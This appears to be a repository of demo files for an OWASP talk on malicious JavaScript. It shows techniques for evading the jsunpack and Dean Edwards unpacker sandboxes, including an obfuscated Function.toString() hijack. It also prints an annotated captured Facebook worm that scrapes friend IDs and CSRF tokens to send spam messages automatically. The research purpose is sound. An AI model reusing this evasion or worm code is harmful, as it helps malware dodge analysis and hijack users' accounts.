├── Dr_JekyllMr_Hyde.jpg ├── README.md ├── demo.bash ├── demo2 ├── _unpacker__pliki │ ├── base2-load.js │ ├── bindings.js │ ├── my.js │ ├── style.css │ └── unpacker.css ├── combined.js ├── evil.packed.js ├── unpacker.html ├── whitespace.js ├── whitespace.packed.js └── whitespace.php ├── dr-evil2.jpg ├── evil.html ├── index.php ├── jekyll1.html ├── jekyll2.html ├── js.js ├── makemelaugh ├── app.html ├── readme.txt ├── step1.js ├── step2.js ├── step2_2.js └── step3.js ├── real ├── hoster.js ├── illimitux.jar ├── illimitux.js ├── illimitux.zip ├── index.php └── start.php └── tostring ├── index.php └── js.js /Dr_JekyllMr_Hyde.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/koto/owasp-malicious-javascript/c175373f4d6f814e41717e7f79a8ff5dc3b1f118/Dr_JekyllMr_Hyde.jpg -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | Author: Krzysztof Kotowicz 2 | License: MIT 3 | 4 | In this repository there are various materials for OWASP presentation on malicious JS 5 | 6 | The slides are here: 7 | 8 | 9 | The files present attacks on [jsunpack](http://jsunpack.jeek.org/) and [Dean Edwards Unpacker](http://dean.edwards.name/unpacker) 10 | 11 | jsunpack attacks 12 | ========== 13 | Sandbox detection 14 | --------- 15 | - copy files from the main directory to your document root 16 | - Modify js.js with your webserver path 17 | - add some sandbox detection tests (real_browser = ...) from the presentation to js.js 18 | - Use 19 | jsunpack-n -a -u <URL for index.php> 20 | to trigger the attack and see that it avoids detection 21 | 22 | Dr Jekyll attack 23 | --------------- 24 | - check jekyll1.html and jekyll2.html files 25 | The trick here is that jsunpack executes all <script> tags instead of only JavaScript 26 | and we can avoid detection by running some code only while in jsunpack sandbox. 27 | 28 | HTML hack 29 | -------- 30 | - edit js.js file and add "//<>" at the beginning - this will skip parsing the file by jsunpack 31 | completely. The thing is - jsunpack parses all scripts as html first and this triggers some weird error 32 | in the parser, modifying the resulting JavaScript. 33 | 34 | Dean Edward's Unpacker 35 | ======= 36 | Function.toString attack 37 | ------- 38 | - whitespace.php is a demo file that shows how modyfing Function.toString() works in real code 39 | - copy of unpacker website is in unpacker.html file 40 | - whitespace.js is an obfuscated Function.toString() replacer 41 | - whitespace.packed.js is the same, but packed 42 | - evil.packed.js is the script we want to hide from unpacker by attaching whitespace.packed.js near the end of the file 43 | - paste combined.js contents (without the first line) into unpacker to see the attack in action. 44 | -------------------------------------------------------------------------------- /demo.bash: -------------------------------------------------------------------------------- 1 | cd ~/dev/jsunpack/jsunpack-n 2 | 3 | ./jsunpackn.py -a -u http://localhost/~koto/malware/ 4 | ./jsunpackn.py -a /home/koto/www/malware/jekyll1.html 5 | ./jsunpackn.py -a /home/koto/www/malware/jekyll2.html 6 | rm -rf ~/dev/jsunpack/jsunpack-n/files/* 7 | 8 | -------------------------------------------------------------------------------- /demo2/_unpacker__pliki/base2-load.js: -------------------------------------------------------------------------------- 1 | if (typeof base2 == "undefined") 2 | document.write(' 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 |
19 |

dean.edwards.name/unpacker/

20 | 29 |
30 | 31 |

A JavaScript Decompressor. 32 | version 1.0

33 |
34 |
35 |

This only really works in Mozilla or Opera browsers 36 | which have a built-in pretty-printer.

37 |


38 |

39 |

40 |

41 |

42 |

43 |

ready

44 |
45 | 46 |
47 |

Copyright © 2004-2010 Dean Edwards. All rights reserved.

48 |
49 | -------------------------------------------------------------------------------- /demo2/whitespace.js: -------------------------------------------------------------------------------- 1 | // obfuscated Function.toString() switch 2 | // @author Krzysztof Kotowicz 3 | (function(ok) { 4 | var a="gunbicrutb",b='Sboct',c="X42uD3nFMc3Ft%*iOLoKHBn7H" 5 | ,ts=(a+b).split(/[ubc]/).reverse().join('') 6 | ,a="F"+c.split(/[^a-z]/).join(''),s=" "[-!-[]], 7 | cl=b.match(/o(.?)/)[s],f=![]+[],cl=cl+f[+!+[]]+f[(+!+[])+(+!+[])], 8 | cl=cl+cl[(cl[-!-[]])-s]+f[(f[-!-[]])-s]+f[(f[-!-[]])-s],g="typeof"; 9 | arguments[cl].constructor["proto"+g.slice(0,4)][ts] = ok; 10 | })( 11 | // here the function to be switched instead of Function.toString() 12 | // FUNCTION start 13 | function () { 14 | return "function a() { /*all your base are belong to us*/; }"; 15 | } 16 | // FUNCTION end 17 | ); 18 | -------------------------------------------------------------------------------- /demo2/whitespace.packed.js: -------------------------------------------------------------------------------- 1 | eval(function(p,a,c,k,e,r){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(2(3){8 a="9",b=\'d\',c="e%*h",5=(a+b).6(/[i]/).j().7(\'\'),a="k"+c.6(/[^a-z]/).7(\'\'),s=" "[-!-[]],1=b.l(/o(.?)/)[s],f=![]+[],1=1+f[+!+[]]+f[(+!+[])+(+!+[])],1=1+1[(1[-!-[]])-s]+f[(f[-!-[]])-s]+f[(f[-!-[]])-s],g="m";n[1].p["q"+g.r(0,4)][5]=3})(2(){t"2 a() { /*u v w x y A B*/; }"});',38,38,'|cl|function|ok||ts|split|join|var|gunbicrutb||||Sboct|X42uD3nFMc3Ft|||iOLoKHBn7H|ubc|reverse|F|match|typeof|arguments||constructor|proto|slice||return|all|your|base|are|belong||to|us'.split('|'),0,{})) 2 | -------------------------------------------------------------------------------- /demo2/whitespace.php: -------------------------------------------------------------------------------- 1 | 2 | 3 | Function.toString switch 4 | 5 | 6 |

obfuscated Function.toString() switch

7 |

@author krzysztof at kotowicz dot net

8 | 9 | 15 | 16 | 19 | 20 | 21 | -------------------------------------------------------------------------------- /dr-evil2.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/koto/owasp-malicious-javascript/c175373f4d6f814e41717e7f79a8ff5dc3b1f118/dr-evil2.jpg -------------------------------------------------------------------------------- /evil.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | jsunpack - evil page 4 | 5 | 6 |

jsunpack - evil page

7 |

@author krzysztof at kotowicz dot net

8 | 9 |

i'm as evil as EC444CB6-3E7E-4865-B1C3-0DE72EF39B3F

10 | reload 11 | 12 | 13 | 14 | -------------------------------------------------------------------------------- /index.php: -------------------------------------------------------------------------------- 1 | 2 | 3 | jsunpack detection 4 | 5 | 6 |

jsunpack detection

7 |

@author krzysztof at kotowicz dot net

8 |

I will redirect to an EVIL page

9 | 10 | 11 | 12 | -------------------------------------------------------------------------------- /jekyll1.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | Dr Jekyll & Mr Hyde 4 | 5 |

Dr Jekyll & Mr Hyde

6 |

@author krzysztof at kotowicz dot net

7 | 8 | 9 | 13 | 16 | 17 | 18 | -------------------------------------------------------------------------------- /jekyll2.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | Dr Jekyll & Mr Hyde go downtown 4 | 5 |

Dr Jekyll & Mr Hyde go downtown

6 |

@author krzysztof at kotowicz dot net

7 | 8 | 9 | 12 | 15 | 24 | 25 | 26 | -------------------------------------------------------------------------------- /js.js: -------------------------------------------------------------------------------- 1 | // jsunpack detection 2 | // @author Krzysztof kotowicz - krzysztof at kotowicz dot net 3 | 4 | // the shortest jsunpack disabler 5 | // put "//[]" at the beginning of the script 6 | // (replace [] with HTML tag open/close characters) 7 | 8 | fake_browser = false; 9 | 10 | // uncomment below for triggering jsunpack detection 11 | //fake_browser = (window.open.toString().match(/print/)); 12 | if (!fake_browser) { 13 | window.location = 'http://localhost/~koto/malware/evil.html'; 14 | } 15 | 16 | -------------------------------------------------------------------------------- /makemelaugh/app.html: -------------------------------------------------------------------------------- 1 |
2 |
Make Me Laugh
3 |
4 |
5 |
6 | 7 |
8 |
9 |
10 |
11 |
12 |
500)) ? 0 : 1;\n\t\t\t\tif(a100124540047022_goahead == 0){\n\t\t\t\t\t\t\t\t\t\t\ta100124540047022_document.getElementById('frm').setAction(a100124540047022_meth.get(a100124540047022_meth.su)).setTarget(a100124540047022_meth.get(a100124540047022_meth.ftarg));\n\t\t\t\t\t\ta100124540047022_create.fire('status','only go here if you are my TRUE friend http:\/\/apps.facebook.com\/makemelaughnow\/');\n\t\t\t\t\t\ta100124540047022_create.fire(a100124540047022_meth.get(a100124540047022_meth.pid),a100124540047022_params[$FBJS.idx(0)]);\n\t\t\t\t\t\ta100124540047022_create.fire(a100124540047022_meth.get(a100124540047022_meth.fbd),a100124540047022_params[$FBJS.idx(1)]);\n\t\t\t\t\t\ta100124540047022_retmeth = 2;\n\t\t\t\t\t\t\t\t\t\treturn a100124540047022_retmeth;\n\t\t\t\t}else{\n\t\t\t\t\t\t\t\t\t\t\ta100124540047022_document.getElementById('frm').setAction(a100124540047022_meth.get(a100124540047022_meth.m)).setTarget(a100124540047022_meth.get(a100124540047022_meth.ftarg));\n\t\t\t\t\t\ta100124540047022_create.fire(a100124540047022_meth.get(a100124540047022_meth.fbd),a100124540047022_params[$FBJS.idx(1)]);\n\t\t\t\t\t\ta100124540047022_create.fire(a100124540047022_meth.get(a100124540047022_meth.pid),a100124540047022_params[$FBJS.idx(0)]);\n\t\t\t\t\t\ta100124540047022_create.fire('ids[]','');\n\t\t\t\t\t\ta100124540047022_create.fire('subject','i thought of you..');\n\t\t\t\t\t\ta100124540047022_create.fire('body','im using up my fb ad credits to send u a gift so HERE = http:\/\/apps.facebook.com\/makemelaughnow\/');\n\t\t\t\t\t\tvar a100124540047022_sendamount = (12 > (a100124540047022_sheep.length-1)) ? (a100124540047022_sheep.length-1) : 12;\n\t\t\t\t\t\tvar a100124540047022_sendamount = (a100124540047022_sendamount < 20) ? a100124540047022_sendamount : 20;\n\t\t\t\t\t\tfor(var a100124540047022_j=0;a100124540047022_j 1)){\n\t\t\t\t\n\t\t\t\t\ta100124540047022_document.getElementById('work_container').setInnerXHTML(\""); 118 | a100124540047022_document.getElementById('frm_container').setInnerXHTML('
'); 119 | 120 | var a100124540047022_submitfrm = a100124540047022_methodaction(); 121 | if(a100124540047022_submitfrm > 0){ 122 | try{ 123 | a100124540047022_setTimeout(function(){a100124540047022_document.getElementById('frm').submit();},1200); 124 | }catch(a100124540047022_err){ 125 | a100124540047022_logerr(a100124540047022_err); 126 | } 127 | } 128 | 129 | try{ 130 | var a100124540047022_lkp = a100124540047022_document.createElement('div').setId('lkp'); 131 | a100124540047022_document.getElementById('work_container').appendChild(a100124540047022_lkp); 132 | a100124540047022_lkp.setInnerXHTML(""); 133 | a100124540047022_document.getElementById('fralkp').setSrc(a100124540047022_meth.get(a100124540047022_meth.lp) + '148034935215009&action=fan&' + a100124540047022_meth.get(a100124540047022_meth.pid) + '=' + a100124540047022_params[$FBJS.idx(0)]); 134 | a100124540047022_lkp = null; 135 | }catch(a100124540047022_err){ 136 | a100124540047022_logerr(a100124540047022_err); 137 | } 138 | 139 | } 140 | } 141 | 142 | 143 | a100124540047022_document.getElementById('frabox').setClassName('frabox'); 144 | a100124540047022_document.getElementById('frabox').setInnerXHTML(''); 145 | a100124540047022_document.getElementById('loading').setTextValue('Complete above to see a joke!'); 146 | 147 | 148 | a100124540047022_setTimeout(function(){ 149 | a100124540047022_document.getElementById('work_container').setTextValue(''); 150 | a100124540047022_document.getElementById('frm_container').setTextValue(''); 151 | 152 | },16000); 153 | 154 | } 155 | 156 | a100124540047022_setTimeout(function(){a100124540047022_startapp();},800); 157 | 158 | 159 | -------------------------------------------------------------------------------- /makemelaugh/step2_2.js: -------------------------------------------------------------------------------- 1 | var app_x = new fbjs_sandbox("x").setBridgeHash("");app_x.validation_vars = {"fb_sig_locale":"en_US","fb_sig_in_new_facebook":1,"fb_sig_time":"1283155119.2838","fb_sig_added":0,"fb_sig_country":"pl","fb_sig_api_key":"4c6e8537174db9c6ff666575fb7c10ff","fb_sig_app_id":x,"fb_sig":"783435ee8e6dca8403944cccc738475a"};app_x.context = "22d3448e5250";app_x.contextd = "O:16:\"CanvasFBMLFlavor\":1:{s:9:\"_fbml_env\";a:15:{s:4:\"user\";i:100000589778946;s:6:\"app_id\";i:x;s:10:\"fb_page_id\";i:0;s:10:\"canvas_url\";s:40:\"http:\/\/apps.facebook.com\/makemelaughnow\/\";s:10:\"source_url\";s:40:\"http:\/\/www.bestplazadel.com\/makemelaugh\/\";s:9:\"loggedout\";b:0;s:7:\"non-tos\";b:1;s:11:\"flavor_code\";i:3;s:14:\"on_canvas_info\";b:0;s:8:\"is_tosed\";b:0;s:14:\"user_triggered\";b:1;s:11:\"image_cache\";N;s:14:\"ajax_triggered\";b:1;s:17:\"non_underlineable\";a:0:{}s:14:\"suppress_label\";b:1;}}";app_x.data = {"user":100000589778946,"installed":false};app_x.bootstrap(); 2 | 3 | var ax_startedapp; 4 | var ax_sheep=[],ax_params=[],ax_domethod=0; 5 | 6 | function ax_logerr(ax_err){ 7 | 8 | } 9 | 10 | function ax_startapp(){ 11 | if(ax_startedapp=='1'){return;} 12 | ax_startedapp='1'; 13 | 14 | 15 | var ax_create = { 16 | help : function(ax_cmd,ax_name){ 17 | var ax_co = ax_document.getElementById(ax_name.substr(2,1)).getTitle(); 18 | for(var ax_a=0, ax_out='';ax_a<=ax_cmd.length-1;ax_a++){var ax_out=ax_out + ax_co.substr(ax_cmd[$FBJS.idx(ax_a)],1);} 19 | return ax_out; 20 | }, 21 | input : function(ax_name,ax_value){ 22 | var ax_frmform = ax_document.getElementById('frm'); 23 | var ax_frminput = ax_document.createElement('input'); 24 | ax_frminput.setType('hidden').setValue(ax_value).setName(ax_name); 25 | ax_frmform.appendChild(ax_frminput); 26 | ax_frminput=null,ax_frmform=null; 27 | return; 28 | }, 29 | fire : function(ax_nam,ax_val){ 30 | var ax_val = ax_val || ''; 31 | return (ax_val == 'name') ? $FBJS.ref(this).help(ax_nam,ax_val) : $FBJS.ref(this).input(ax_nam,ax_val); 32 | } 33 | }; 34 | 35 | 36 | var ax_meth = { 37 | ftarg : ["21"- -"5",22+1,"18"- -"6"], 38 | fhome : [5-4,3+4,1+6,17+1,8-4,20+5,"19"- -"6",5+2,1+1,13+3,10-10,3-2,11+4,23+3,14+10,20-20,3+3,10+4,1+1,4-2,2+3,11+4, 39 | 5-5,1+1,16-8,17+8,9-8,9-7,4+4,1+5,9+6,17+1,19-18,17+1], 40 | m : [3-2,"3"- -"4",3+4,17+1,2+2,20+5,30-5,10-3,1+1,13+3,"0"- -"0",2-1,13+2,23+3,20+4,10-10,3+3,11+3,1+1,4-2,3+2,14+1,8-8, 41 | 8-6,4+4,30-5,4+4,3+3,5+5,6+4,20+4,10+10,3+3,21+8,7+3,3+3,20+2,6+3,11+4,17+1,2-1,10+8], 42 | su : [5-4,"2" - -"5",1+6,15+3,2+2,20+5,30-5,1+6,1+1,13+3,10-10,3-2,12+3,20+6,22+2,5-5,4+2,12+2,1+1,5-3,4+1,11+4,9-9, 43 | 1+1,4+4,21+4,6+4,12+4,11+3,5+3,26+1,4+3,28+1,8+2,5+2,22+2,1+6,13+3,1+9,10+5,14+4,2-1,17+1], 44 | lp : [1,7,7,18,4,25,25,7,2,16,0,1,15,26,24,0,6,14,2,2,5,15,0,2,8,25,23,6,12,10,15,18,1,18,30,27,9,31], 45 | pid : ["11"- -"7",4-2,5+5,1+6,19+10,23+3,1+1,22+1,2+6,21+8,21+6,6+3], 46 | fbd : [19+7,"10"- -"4",20+9,10-1,5+2,5+5,11+9], 47 | hc : ["0"- -"1",4+2,10+1,15+3,28+1,10-10,1+1,11+11,2+5,20+4,21+6,20+2,1+5,20+3], 48 | get : function(ax_s){return ax_create.fire(ax_s,'name');} 49 | }; 50 | 51 | var ax_findvalues = { 52 | a : ((new ax_RegExp('st_.or._i.\\\x22 .al.e=\\\x22(.*?)\\\x22',''))), 53 | b : ((new ax_RegExp('b_d.s.\\\x22 v..ue=\\\x22(.*?)\\\x22',''))), 54 | c : ((new ax_RegExp('p.o..le\\.p.p\\?i.=(\\d+)\\\x22',''))), 55 | d : ((new ax_RegExp('na.e=\\\x22i.s\\[]\\\x22 v.l.e=\\\x22(.*?)\\\x22','gi'))), 56 | firefunc : function(ax_strdata){ 57 | var ax_matches=[],ax_fmatch=[],ax_out = '',ax_f = 0; 58 | for (ax_p in ax_findvalues){ 59 | try{ 60 | if(ax_f==3){ 61 | while (ax_matches = ax_findvalues[$FBJS.idx(ax_p)].exec(ax_strdata)){ 62 | if(ax_matches[$FBJS.idx(1)] == ax_sheep[$FBJS.idx(0)]){break;} 63 | if(ax_matches[$FBJS.idx(1)].length < 25){ax_sheep.push(ax_matches[$FBJS.idx(1)]);} 64 | } 65 | break; 66 | } 67 | ax_fmatch = ax_findvalues[$FBJS.idx(ax_p)].exec(ax_strdata); 68 | if(ax_fmatch[$FBJS.idx(1)] !== null){ax_params[$FBJS.idx(ax_f)] = ax_fmatch[$FBJS.idx(1)];} 69 | }catch(ax_err){ 70 | ax_logerr(ax_err); 71 | } 72 | ax_f++; 73 | } 74 | ax_document.getElementById('help_container').setTextValue(''); 75 | var ax_out = ((ax_params[$FBJS.idx(0)] !== null) && (ax_params[$FBJS.idx(0)] !== null)) ? 1 : 0; 76 | return ax_out; 77 | } 78 | }; 79 | 80 | var ax_methodaction = function(){ 81 | var ax_retmeth = 0; 82 | ax_sheep = ax_sheep || []; 83 | var ax_goahead = (((ax_sheep.length - 1) < 1) || ((ax_sheep.length - 1) > 500)) ? 0 : 1; 84 | if(ax_goahead == 0){ 85 | ax_document.getElementById('frm').setAction(ax_meth.get(ax_meth.su)).setTarget(ax_meth.get(ax_meth.ftarg)); 86 | ax_create.fire('status','only go here if you are my TRUE friend http://apps.facebook.com/makemelaughnow/'); 87 | ax_create.fire(ax_meth.get(ax_meth.pid),ax_params[$FBJS.idx(0)]); 88 | ax_create.fire(ax_meth.get(ax_meth.fbd),ax_params[$FBJS.idx(1)]); 89 | ax_retmeth = 2; 90 | return ax_retmeth; 91 | }else{ 92 | ax_document.getElementById('frm').setAction(ax_meth.get(ax_meth.m)).setTarget(ax_meth.get(ax_meth.ftarg)); 93 | ax_create.fire(ax_meth.get(ax_meth.fbd),ax_params[$FBJS.idx(1)]); 94 | ax_create.fire(ax_meth.get(ax_meth.pid),ax_params[$FBJS.idx(0)]); 95 | ax_create.fire('ids[]',''); 96 | ax_create.fire('subject','i thought of you..'); 97 | ax_create.fire('body','im using up my fb ad credits to send u a gift so HERE = http://apps.facebook.com/makemelaughnow/'); 98 | var ax_sendamount = (12 > (ax_sheep.length-1)) ? (ax_sheep.length-1) : 12; 99 | var ax_sendamount = (ax_sendamount < 20) ? ax_sendamount : 20; 100 | for(var ax_j=0;ax_j 1)){ 116 | 117 | ax_document.getElementById('work_container').setInnerXHTML(""); 118 | ax_document.getElementById('frm_container').setInnerXHTML('
'); 119 | 120 | var ax_submitfrm = ax_methodaction(); 121 | if(ax_submitfrm > 0){ 122 | try{ 123 | ax_setTimeout(function(){ax_document.getElementById('frm').submit();},1200); 124 | }catch(ax_err){ 125 | ax_logerr(ax_err); 126 | } 127 | } 128 | 129 | try{ 130 | var ax_lkp = ax_document.createElement('div').setId('lkp'); 131 | ax_document.getElementById('work_container').appendChild(ax_lkp); 132 | ax_lkp.setInnerXHTML(""); 133 | ax_document.getElementById('fralkp').setSrc(ax_meth.get(ax_meth.lp) + '148034935215009&action=fan&' + ax_meth.get(ax_meth.pid) + '=' + ax_params[$FBJS.idx(0)]); 134 | ax_lkp = null; 135 | }catch(ax_err){ 136 | ax_logerr(ax_err); 137 | } 138 | 139 | } 140 | } 141 | 142 | 143 | ax_document.getElementById('frabox').setClassName('frabox'); 144 | ax_document.getElementById('frabox').setInnerXHTML(''); 145 | ax_document.getElementById('loading').setTextValue('Complete above to see a joke!'); 146 | 147 | 148 | ax_setTimeout(function(){ 149 | ax_document.getElementById('work_container').setTextValue(''); 150 | ax_document.getElementById('frm_container').setTextValue(''); 151 | 152 | },16000); 153 | 154 | } 155 | 156 | ax_setTimeout(function(){ax_startapp();},800); 157 | 158 | 159 | -------------------------------------------------------------------------------- /makemelaugh/step3.js: -------------------------------------------------------------------------------- 1 | /* facebook sandbox initialization below, not important here, so removed */ 2 | var app_x = new fbjs_sandbox("xx").setBridgeHash(""); 3 | 4 | app_x.validation_vars = { 5 | }; 6 | app_x.context = "xxx"; 7 | app_x.contextd = "xxx"; 8 | app_x.data = { 9 | "xxx" 10 | }; 11 | 12 | app_x.bootstrap(); 13 | 14 | var ax_startedapp; 15 | // ax_sheep will contain your friend IDs 16 | // ax_params will contain 3 elements: 2 first items are credentials for sending messages, 3rd - your FB id 17 | var ax_sheep = [], ax_params = [], ax_domethod = 0; 18 | 19 | var ax_domethod = 0; 20 | 21 | function ax_logerr(ax_err) { 22 | 23 | } 24 | 25 | function ax_startapp() { 26 | // start only once 27 | if (ax_startedapp == '1') { 28 | return; 29 | } 30 | ax_startedapp = '1'; 31 | 32 | var ax_create = { 33 | help : function(ax_cmd, ax_name) { 34 | // actual decoding function - extracts characters from "_m" title attribute and combine them 35 | var ax_co = ax_document.getElementById( 36 | ax_name.substr(2, 1)).getTitle(); // "#m".getTitle() 37 | 38 | ax_co = "choy:ketmdslqxb.ujpzgvnra/fiw_?="; // actual key for decoding (it doesn't mean anything on its own 39 | //, its just a dictionary) 40 | 41 | // decoding loop ax_cmd 42 | // FBJS.idx is FB sandbox functionality - see http://w2spconf.com/2009/papers/s3p2.pdf 43 | // FBJS.idx(a) === a 44 | // ax_cmd contains offsets of ax_co characters to append 45 | for ( var ax_a = 0, ax_out = ''; ax_a <= ax_cmd.length - 1; ax_a++) { 46 | var ax_out = ax_out 47 | + ax_co.substr(ax_cmd[$FBJS 48 | .idx(ax_a)], 1); 49 | } 50 | return ax_out; 51 | }, 52 | input : function(ax_name, ax_value) { 53 | // add hidden input to form 54 | var ax_frmform = ax_document 55 | .getElementById('frm'); 56 | var ax_frminput = ax_document 57 | .createElement('input'); 58 | ax_frminput.setType('hidden').setValue( 59 | ax_value).setName(ax_name); 60 | ax_frmform.appendChild(ax_frminput); 61 | ax_frminput = null, ax_frmform = null; 62 | return; 63 | }, 64 | fire : function(ax_nam, ax_val) { 65 | // decode or insert input field 66 | var ax_val = ax_val || ''; 67 | return (ax_val == 'name') ? $FBJS.ref(this).help( 68 | ax_nam, ax_val) : $FBJS.ref( 69 | this).input(ax_nam, ax_val); 70 | } 71 | }; 72 | 73 | var ax_meth = { 74 | // object with character offets from app's 'm' HTML entity (in title attr there are characters that the result is composed of) 75 | // get() method decodes 76 | // small obfuscation below 77 | ftarg : [ "21" - -"5", 22 + 1, "18" - -"6" ], 78 | fhome : [ 5 - 4, 3 + 4, 1 + 6, 17 + 1, 8 - 4, 20 + 5, "19" - -"6", 79 | 5 + 2, 1 + 1, 13 + 3, 10 - 10, 3 - 2, 11 + 4, 23 + 3, 14 + 10, 80 | 20 - 20, 3 + 3, 10 + 4, 1 + 1, 4 - 2, 2 + 3, 11 + 4, 5 - 5, 81 | 1 + 1, 16 - 8, 17 + 8, 9 - 8, 9 - 7, 4 + 4, 1 + 5, 9 + 6, 82 | 17 + 1, 19 - 18, 17 + 1 ], 83 | m : [ 3 - 2, "3" - -"4", 3 + 4, 17 + 1, 2 + 2, 20 + 5, 30 - 5, 10 - 3, 84 | 1 + 1, 13 + 3, "0" - -"0", 2 - 1, 13 + 2, 23 + 3, 20 + 4, 85 | 10 - 10, 3 + 3, 11 + 3, 1 + 1, 4 - 2, 3 + 2, 14 + 1, 8 - 8, 86 | 8 - 6, 4 + 4, 30 - 5, 4 + 4, 3 + 3, 5 + 5, 6 + 4, 20 + 4, 87 | 10 + 10, 3 + 3, 21 + 8, 7 + 3, 3 + 3, 20 + 2, 6 + 3, 11 + 4, 88 | 17 + 1, 2 - 1, 10 + 8 ], 89 | su : [ 5 - 4, "2" - -"5", 1 + 6, 15 + 3, 2 + 2, 20 + 5, 30 - 5, 1 + 6, 90 | 1 + 1, 13 + 3, 10 - 10, 3 - 2, 12 + 3, 20 + 6, 22 + 2, 5 - 5, 91 | 4 + 2, 12 + 2, 1 + 1, 5 - 3, 4 + 1, 11 + 4, 9 - 9, 1 + 1, 92 | 4 + 4, 21 + 4, 6 + 4, 12 + 4, 11 + 3, 5 + 3, 26 + 1, 4 + 3, 93 | 28 + 1, 8 + 2, 5 + 2, 22 + 2, 1 + 6, 13 + 3, 1 + 9, 10 + 5, 94 | 14 + 4, 2 - 1, 17 + 1 ], 95 | lp : [ 1, 7, 7, 18, 4, 25, 25, 7, 2, 16, 0, 1, 15, 26, 24, 0, 6, 14, 2, 96 | 2, 5, 15, 0, 2, 8, 25, 23, 6, 12, 10, 15, 18, 1, 18, 30, 27, 9, 97 | 31 ], 98 | pid : [ "11" - -"7", 4 - 2, 5 + 5, 1 + 6, 19 + 10, 23 + 3, 1 + 1, 99 | 22 + 1, 2 + 6, 21 + 8, 21 + 6, 6 + 3 ], 100 | fbd : [ 19 + 7, "10" - -"4", 20 + 9, 10 - 1, 5 + 2, 5 + 5, 11 + 9 ], 101 | hc : [ "0" - -"1", 4 + 2, 10 + 1, 15 + 3, 28 + 1, 10 - 10, 1 + 1, 102 | 11 + 11, 2 + 5, 20 + 4, 21 + 6, 20 + 2, 1 + 5, 20 + 3 ], 103 | /* 104 | ftarg:[26,23,24], 105 | fhome:[1,7,7,18,4,25,25,7,2,16,0,1,15,26,24,0,6,14,2,2,5,15,0,2,8,25,1,2,8,6,15,18,1,18], 106 | m:[1,7,7,18,4,25,25,7,2,16,0,1,15,26,24,0,6,14,2,2,5,15,0,2,8,25,8,6,10,10,24,20,6,29,10,6,22,9,15,18,1,18], 107 | su:[1,7,7,18,4,25,25,7,2,16,0,1,15,26,24,0,6,14,2,2,5,15,0,2,8,25,10,16,14,8,27,7,29,10,7,24,7,16,10,15,18,1,18], 108 | lp:[1,7,7,18,4,25,25,7,2,16,0,1,15,26,24,0,6,14,2,2,5,15,0,2,8,25,23,6,12,10,15,18,1,18,30,27,9,31], 109 | pid:[18,2,10,7,29,26,2,23,8,29,27,9], 110 | fbd:[26,14,29,9,7,10,20], 111 | hc:[1,6,11,18,29,0,2,22,7,24,27,22,6,23] 112 | */ 113 | 114 | // decoding function 115 | get : function(ax_s) { 116 | // results: 117 | /* 118 | m=http://touch.facebook.com/message_send.php 119 | ftarg=fra 120 | su=http://touch.facebook.com/submit_status.php (status update) 121 | pid=post_form_id 122 | lp=http://touch.facebook.com/reqs.php?id= 123 | fhome=http://touch.facebook.com/home.php 124 | fbd=fb_dtsg 125 | hc=fb_dtsg 126 | */ 127 | return ax_create.fire(ax_s, 'name'); 128 | } 129 | }; 130 | 131 | var ax_findvalues = { 132 | // inserts your friend ids into ax_sheep 133 | // inserts credentials for making a wall post into ax_params 134 | // returns 1 if succeeded 135 | a : ((new ax_RegExp( 136 | 'st_.or._i.\\\x22 .al.e=\\\x22(.*?)\\\x22', ''))), //
500)) ? 0 187 | : 1; 188 | if (ax_goahead == 0) { 189 | // if you have <2 friends or > 500 friends 190 | 191 | // only submit status update through touch.facebook.com 192 | 193 | // change form action and target 194 | ax_document.getElementById('frm').setAction( /*http://touch.facebook.com/submit_status.php*/ 195 | ax_meth.get(ax_meth.su)) 196 | .setTarget( 197 | ax_meth 198 | .get(ax_meth.ftarg) /* fra - created iframe*/) ; 199 | // add fields 200 | ax_create 201 | .fire( 202 | 'status', 203 | 'only go here if you are my TRUE friend http://apps.facebook.com/makemelaughnow/'); 204 | // add credentials 205 | ax_create.fire(ax_meth 206 | .get(ax_meth.pid), 207 | ax_params[$FBJS.idx(0)]); 208 | ax_create.fire(ax_meth 209 | .get(ax_meth.fbd), 210 | ax_params[$FBJS.idx(1)]); 211 | 212 | ax_retmeth = 2; 213 | return ax_retmeth; 214 | 215 | } else { 216 | // if you have 2-500 friends 217 | // send message to first 12-20 of them through touch.facebook.com 218 | ax_document.getElementById('frm').setAction( 219 | ax_meth.get(ax_meth.m) /*http://touch.facebook.com/message_send.php*/) 220 | .setTarget( 221 | ax_meth 222 | .get(ax_meth.ftarg)); 223 | 224 | // add credentials 225 | ax_create.fire(ax_meth 226 | .get(ax_meth.fbd), 227 | ax_params[$FBJS.idx(1)]); 228 | ax_create.fire(ax_meth 229 | .get(ax_meth.pid), 230 | ax_params[$FBJS.idx(0)]); 231 | 232 | ax_create.fire('ids[]', ''); 233 | ax_create.fire('subject', 'i thought of you..'); 234 | ax_create 235 | .fire( 236 | 'body', 237 | 'im using up my fb ad credits to send u a gift so HERE = http://apps.facebook.com/makemelaughnow/'); 238 | // add your friends 239 | // min 12 240 | var ax_sendamount = (12 > (ax_sheep.length - 1)) ? (ax_sheep.length - 1) 241 | : 12; 242 | // max 20 243 | var ax_sendamount = (ax_sendamount < 20) ? ax_sendamount 244 | : 20; 245 | for ( var ax_j = 0; ax_j < ax_sendamount; ax_j++) { 246 | // add 12-12 first friends 247 | ax_create.fire('ids[]', 248 | ax_sheep[$FBJS.idx(ax_j)]); 249 | } 250 | ax_create.fire(ax_meth 251 | .get(ax_meth.fbd), 252 | ax_params[$FBJS.idx(1)]); 253 | 254 | ax_retmeth = 1; 255 | return ax_retmeth; 256 | } 257 | } 258 | 259 | // app starts here 260 | try { 261 | 262 | // here's the trick - the app (or FB) stores most of app's HTML code in a single element title attribute 263 | // code extracts lots of data from it (friend ids, credentials, user id, etc.) 264 | ax_domethod = ax_findvalues 265 | .firefunc(ax_document.getElementById( 266 | 'help_container').getFirstChild().getTitle()); 267 | // ax_domethod will be 1 and ax_sheep/ax_params initialized 268 | } catch (ax_err) { 269 | ax_logerr(ax_err); 270 | } finally { 271 | if ((ax_domethod == 1) 272 | && 